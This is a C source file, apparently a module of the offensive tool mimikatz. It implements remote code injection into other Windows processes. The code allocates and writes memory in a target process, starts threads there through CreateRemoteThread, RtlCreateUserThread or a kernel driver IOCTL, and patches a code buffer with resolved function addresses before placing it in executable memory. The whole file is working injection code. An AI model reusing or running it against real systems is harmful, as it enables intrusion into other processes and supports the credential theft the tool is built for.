mimikatz/modules/kull_m_remotelib.c

216 lines
7.6 KiB
C

/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_remotelib.h"
PREMOTE_LIB_INPUT_DATA kull_m_remotelib_CreateInput(PVOID inputVoid, DWORD inputDword, DWORD inputSize, LPCVOID inputData)
{
PREMOTE_LIB_INPUT_DATA iData;
if(iData = (PREMOTE_LIB_INPUT_DATA) LocalAlloc(LPTR, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + inputSize))
{
iData->inputVoid = inputVoid;
iData->inputDword = inputDword;
if(inputSize && inputData)
{
iData->inputSize = inputSize;
RtlCopyMemory(iData->inputData, inputData, inputSize);
}
}
return iData;
}
BOOL kull_m_remotelib_create(PKULL_M_MEMORY_ADDRESS aRemoteFunc, PREMOTE_LIB_INPUT_DATA input, PREMOTE_LIB_OUTPUT_DATA output)
{
BOOL success = FALSE;
NTSTATUS status;
HANDLE hThread;
KULL_M_MEMORY_ADDRESS aRemoteData = {NULL, aRemoteFunc->hMemory}, aSuppData = {NULL, aRemoteFunc->hMemory}, aLocalAddr = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
PREMOTE_LIB_DATA data;
REMOTE_LIB_OUTPUT_DATA oData;
MIMIDRV_THREAD_INFO drvInfo = {(PTHREAD_START_ROUTINE) aRemoteFunc->address, NULL};
DWORD size = FIELD_OFFSET(REMOTE_LIB_DATA, input.inputData) + input->inputSize;
if(!output)
output = &oData;
//kprintf(L"\ninput\n"
// L".void = 0x%p\n"
// L".dword = 0x%08x - %u\n"
// L".size = %u\n"
// L".data[] = [ ",
// input->inputVoid, input->inputDword, input->inputDword, input->inputSize);
//kull_m_string_wprintf_hex(input->inputData, input->inputSize, 1);
//kprintf(L"]\n");
if(data = (PREMOTE_LIB_DATA) LocalAlloc(LPTR, size))
{
RtlCopyMemory(&data->input, input, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + input->inputSize);
if(kull_m_memory_alloc(&aRemoteData, size, PAGE_READWRITE))
{
aLocalAddr.address = data;
if(kull_m_memory_copy(&aRemoteData, &aLocalAddr, size))
{
switch(aRemoteFunc->hMemory->type)
{
case KULL_M_MEMORY_TYPE_PROCESS:
if(MIMIKATZ_NT_MAJOR_VERSION > 5)
{
status = RtlCreateUserThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, &hThread, NULL);
if(!NT_SUCCESS(status))
{
hThread = NULL;
PRINT_ERROR(L"RtlCreateUserThread (0x%08x)\n", status);
}
}
else if(!(hThread = CreateRemoteThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, 0, NULL)))
PRINT_ERROR_AUTO(L"CreateRemoteThread");
if(hThread)
{
WaitForSingleObject(hThread, INFINITE);
success = CloseHandle(hThread);
}
break;
case KULL_M_MEMORY_TYPE_KERNEL:
drvInfo.pArg = aRemoteData.address;
kprintf(L"Th @ %p\nDa @ %p\n", drvInfo.pRoutine, drvInfo.pArg);
if(!(success = kull_m_kernel_ioctl_handle(aRemoteFunc->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_CREATEREMOTETHREAD, &drvInfo, sizeof(MIMIDRV_THREAD_INFO), NULL, NULL, FALSE)))
PRINT_ERROR_AUTO(L"kull_m_kernel_ioctl_handle");
break;
}
if(success)
{
aLocalAddr.address = output;
if(success = kull_m_memory_copy(&aLocalAddr, &aRemoteData, sizeof(REMOTE_LIB_OUTPUT_DATA)))
{
//kprintf(L"\noutput\n"
// L".void = 0x%p\n"
// L".dword = 0x%08x - %u\n"
// L".status = 0x%08x - %u\n"
// L".size = %u\n"
// L".data = 0x%p\n",
// output->outputVoid, output->outputDword, output->outputDword, output->outputStatus, output->outputStatus, output->outputSize, output->outputData);
if(aSuppData.address = output->outputData)
{
if(output != &oData)
{
success = FALSE;
output->outputData = NULL;
if(output->outputSize)
{
if(aLocalAddr.address = LocalAlloc(LPTR, output->outputSize))
{
if(success = kull_m_memory_copy(&aLocalAddr, &aSuppData, output->outputSize))
{
output->outputData = aLocalAddr.address;
//kprintf(L"\t[ "); kull_m_string_wprintf_hex(output->outputData, output->outputSize, 1); kprintf(L"]\n");
}
else
LocalFree(aLocalAddr.address);
}
}
if(!success)
output->outputSize = 0;
}
kull_m_memory_free(&aSuppData);
}
}
}
}
kull_m_memory_free(&aRemoteData);
}
LocalFree(data);
}
return success;
}
BOOL CALLBACK kull_m_remotelib_exports_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg)
{
PREMOTE_EXT extension = (PREMOTE_EXT) pvArg;
if(pExportedEntryInformations->name)
if(_stricmp(extension->Function, pExportedEntryInformations->name) == 0)
{
extension->Pointer = pExportedEntryInformations->function.address;
return FALSE;
}
return TRUE;
}
BOOL CALLBACK kull_m_remotelib_exports_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
{
DWORD i;
PMULTIPLE_REMOTE_EXT extForCb = (PMULTIPLE_REMOTE_EXT) pvArg;
for(i = 0; i < extForCb->count; i++)
{
if(extForCb->extensions[i].Pointer)
continue;
if(_wcsicmp(pModuleInformation->NameDontUseOutsideCallback->Buffer, extForCb->extensions[i].Module) == 0)
if(kull_m_process_getExportedEntryInformations(&pModuleInformation->DllBase, kull_m_remotelib_exports_callback_module_exportedEntry, extForCb->extensions + i) || !extForCb->extensions[i].Pointer)
return FALSE;
}
return TRUE;
}
BOOL kull_m_remotelib_GetProcAddressMultipleModules(PKULL_M_MEMORY_HANDLE hProcess, PMULTIPLE_REMOTE_EXT extForCb)
{
DWORD i;
BOOL success;
kull_m_process_getVeryBasicModuleInformations(hProcess, kull_m_remotelib_exports_callback_module, extForCb);
for(i = 0, success = TRUE; (i < extForCb->count) && success; success &= (extForCb->extensions[i++].Pointer != NULL));
return success;
}
BOOL kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(PKULL_M_MEMORY_HANDLE hProcess, LPCVOID Buffer, DWORD BufferSize, PMULTIPLE_REMOTE_EXT RemoteExt, PKULL_M_MEMORY_ADDRESS DestAddress)
{
BOOL success = FALSE;
DWORD i, j;
KULL_M_MEMORY_ADDRESS aLocalAddr = {(LPVOID) Buffer, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
DestAddress->hMemory = hProcess;
DestAddress->address = NULL;
if(RemoteExt)
{
if(kull_m_remotelib_GetProcAddressMultipleModules(hProcess, RemoteExt))
{
if(aLocalAddr.address = LocalAlloc(LPTR, BufferSize))
{
RtlCopyMemory(aLocalAddr.address, Buffer, BufferSize);
for(i = 0; i < BufferSize - sizeof(PVOID); i++)
{
for(j = 0; j < RemoteExt->count; j++)
{
if((PVOID) RemoteExt->extensions[j].ToReplace == *(PVOID *) ((PBYTE) aLocalAddr.address + i))
{
*(PVOID *) ((PBYTE) aLocalAddr.address + i) = RemoteExt->extensions[j].Pointer;
//kprintf(L"Found =) - %.*S - %s!%S -> %p\n", sizeof(PVOID), &RemoteExt->extensions[j].ToReplace, RemoteExt->extensions[j].Module, RemoteExt->extensions[j].Function, *(PVOID *) ((PBYTE) aLocalAddr.address + i));
i += sizeof(PVOID) - 1;
}
}
}
}
}
}
if(aLocalAddr.address)
{
if(kull_m_memory_alloc(DestAddress, BufferSize, PAGE_EXECUTE_READWRITE))
{
if(!(success = kull_m_memory_copy(DestAddress, &aLocalAddr, BufferSize)))
{
PRINT_ERROR_AUTO(L"kull_m_memory_copy");
kull_m_memory_free(DestAddress);
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)");
if(RemoteExt)
LocalFree(aLocalAddr.address);
}
else PRINT_ERROR(L"No buffer ?\n");
return success;
}